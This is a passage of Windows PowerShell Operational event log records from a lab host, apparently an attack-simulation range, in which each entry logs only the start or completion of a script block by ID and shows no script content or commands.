09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027013
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027007
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026983
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026981
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026980
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
